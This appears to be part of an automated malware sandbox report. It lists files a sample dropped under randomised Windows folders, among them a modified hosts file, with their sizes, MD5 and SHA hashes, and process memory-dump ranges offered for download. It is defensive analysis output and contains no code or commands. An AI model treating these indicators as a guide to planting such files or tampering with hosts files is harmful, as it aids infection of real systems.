b89b6d9c77c839d0d411d9abf2127b632547476c2272219d46ba12832d5a1dab98f4010738969e905e4d791b41596473397cf73db5da43ecab23486e33b0e1d1

Download Submit
C:\Windows\gezmcuhh\euiugba.exe

Filesize
8.4MB

MD5
df88efcce60d862602e3781e0ebff98e

SHA1
94d555a91952b9d16d910aa0a394f7f0417d99bf

SHA256
915059924472816fe75d065d51c3f914262778200ff13b1248afad1e6b6a08ad

SHA512
3c72753037231575e9aa18ae95d6a5907d6b1e224e8f3160c8d622ee55f8321c0ec307acc6d63e2d0539244255bdd7b15365231f77b5e883d26698a6fbc26093

Download Submit
C:\Windows\system32\drivers\etc\hosts

Filesize
1KB

MD5
c838e174298c403c2bbdf3cb4bdbb597

SHA1
70eeb7dfad9488f14351415800e67454e2b4b95b

SHA256
1891edcf077aa8ed62393138f16e445ef4290a866bccdbb7e2d7529034a66e53

SHA512
c53a52b74d19274c20dece44f46c5d9f37cd0ec28cf39cac8b26ba59712f789c14d1b10b7f5b0efdf7ce3211dda0107792cc42503faa82cb13ffae979d49d376

Download Submit
C:\Windows\thgpqiiyn\Corporate\vfshost.exe

Filesize
381KB

MD5
fd5efccde59e94eec8bb2735aa577b2b

SHA1
51aaa248dc819d37f8b8e3213c5bdafc321a8412

SHA256
441430308fa25ec04fd913666f5e0748fdb10743984656d55acc26542e5fff45

SHA512
74a7eebdee9d25a306be83cb3568622ea9c1b557a8fbb86945331209bdc884e48113c3d01aac5347d88b8d2f786f8929aa6bb55d80516f3b4f9cc0f18362e8e3

Download Submit
C:\Windows\thgpqiiyn\zymuetvrm\glithlcwh.exe

Filesize
332KB

MD5
ea774c81fe7b5d9708caa278cf3f3c68

SHA1
fc09f3b838289271a0e744412f5f6f3d9cf26cee

SHA256
4883500a1bdb7ca43749635749f6a0ec0750909743bde3a2bc1bfc09d088ca38

SHA512
7cfde964c1c62759e3ba53c47495839e307ba0419d740fcacbeda1956dcee3b51b3cf39e6891120c72d0aae48e3ea1019c385eb5006061ced89f33b15faa8acb

Download Submit
C:\Windows\thgpqiiyn\zymuetvrm\wpcap.exe

Filesize
424KB

MD5
e9c001647c67e12666f27f9984778ad6

SHA1
51961af0a52a2cc3ff2c4149f8d7011490051977

SHA256
7ec51f4041f887ba1d4241054f3be8b5068291902bada033081eff7144ec6a6d

SHA512
56f0cff114def2aeda0c2c8bd9b3abcacef906187a253ea4d943b3f1e1ca52c452d82851348883288467a8c9a09d014910c062325964bcfe9618d7b58056e1fe

Download Submit
memory/64-190-0x00007FF62C610000-0x00007FF62C66B000-memory.dmp

Filesize
364KB

Download
memory/672-239-0x00007FF62C610000-0x00007FF62C66B000-memory.dmp

Filesize
364KB

Download
memory/736-220-0x00007FF62C610000-0x00007FF62C66B000-memory.dmp

Filesize
364KB

Download
memory/812-234-0x00007FF62C610000-0x00007FF62C66B000-memory.dmp

Filesize
364KB

Download
memory/1236-159-0x0000000000400000-0x0000000000412000-memory.dmp

Filesize
72KB

Download
memory/1236-144-0x0000000010000000-0x0000000010008000-memory.dmp

Filesize
32KB

Download
memory/1428-224-0x00007FF62C610000-0x00007FF62C66B000-memory.dmp

Filesize
364KB

Download
memory/1648-161-0x00007FF62C610000-0x00007FF62C66B000-memory.dmp

Filesize
364KB

Download
memory/1648-156-0x00007FF62C610000-0x00007FF62C66B000-memory.dmp

Filesize
364KB

Download
memory/1668-211-0x00007FF62C610000-0x00007FF62C66B000-memory.dmp

Filesize
364KB

Download
memory/1696-186-0x00007FF62C610000-0x00007FF62C66B000-memory.dmp

Filesize
364KB

Download
memory/2160-78-0x00000000018A0000-0x00000000018EC000-memory.dmp

Filesize
304KB

Download
memory/2320-229-0x00007FF62C610000-0x00007FF62C66B000-memory.dmp

Filesize
364KB

Download
memory/2476-176-0x00007FF62C610000-0x00007FF62C66B000-memory.dmp

Filesize
364KB

Download
memory/2536-181-0x00007FF62C610000-0x00007FF62C66B000-memory.dmp

Filesize
364KB

Download
memory/2716-194-0x00007FF62C610000-0x00007FF62C66B000-memory.dmp

Filesize
364KB

Download
memory/2860-249-0x0000000000E80000-0x0000000000E92000-memory.dmp

Filesize
72KB

Download
memory/2864-237-0x00007FF62C610000-0x00007FF62C66B000-memory.dmp

Filesize
364KB

Download
memory/3488-4-0x0000000000400000-0x0000000000AA4000-memory.dmp

Filesize
6.6MB

Download
memory/3488-0-0x0000000000400000-0x0000000000AA4000-memory.dmp

Filesize
6.6MB

Download
memory/3764-172-0x00007FF62C610000-0x00007FF62C66B000-memory.dmp

Filesize
364KB

Download
memory/3868-136-0x00007FF68AE50000-0x00007FF68AF3E000-memory.dmp

Filesize
952KB

Download
memory/3868-138-0x00007FF68AE50000-0x00007FF68AF3E000-memory.dmp

Filesize
952KB

Download
memory/3932-203-0x00007FF62C610000-0x00007FF62C66B000-memory.dmp

Filesize
364KB

Download
memory/4492-207-0x00007FF62C610000-0x00007FF62C66B000-memory.dmp

Filesize
364KB

Download
memory/4568-165-0x00007FF6CF6F0000-0x00007FF6CF810000-memory.dmp

Filesize
1.1MB

Download
memory/4568-235-0x00007FF6CF6F0000-0x00007FF6CF810000-memory.dmp

Filesize
1.1MB

Download
memory/4568-226-0x00007FF6CF6F0000-0x00007FF6CF810000-memory.dmp

Filesize
1.1MB

Download
memory/4568-217-0x00007FF6CF6F0000-0x00007FF6CF810000-memory.dmp

Filesize
1.1MB

Download
memory/4568-179-0x00007FF6CF6F0000-0x00007FF6CF810000-memory.dmp

Filesize
1.1MB

Download
memory/4568-257-0x00007FF6CF6F0000-0x00007FF6CF810000-memory.dmp

Filesize
1.1MB

Download
memory/4568-255-0x00007FF6CF6F0000-0x00007FF6CF810000-memory.dmp

Filesize
1.1MB

Download
memory/4568-168-0x00000282C1A20000-0x00000282C1A30000-memory.dmp

Filesize
64KB

Download
memory/4568-200-0x00007FF6CF6F0000-0x00007FF6CF810000-memory.dmp

Filesize
1.1MB

Download
memory/4568-254-0x00007FF6CF6F0000-0x00007FF6CF810000-memory.dmp

Filesize
1.1MB

Download
memory/4568-183-0x00007FF6CF6F0000-0x00007FF6CF810000-memory.dmp

Filesize
1.1MB

Download
memory/4568-250-0x00007FF6CF6F0000-0x00007FF6CF810000-memory.dmp

Filesize
1.1MB

Download
memory/4936-8-0x0000000000400000-0x0000000000AA4000-memory.dmp

Filesize
6.6MB

Download
memory/4988-232-0x00007FF62C610000-0x00007FF62C66B000-memory.dmp

Filesize
364KB

Download
memory/4992-198-0x00007FF62C610000-0x00007FF62C66B000-memory.dmp

Filesize
364KB

Download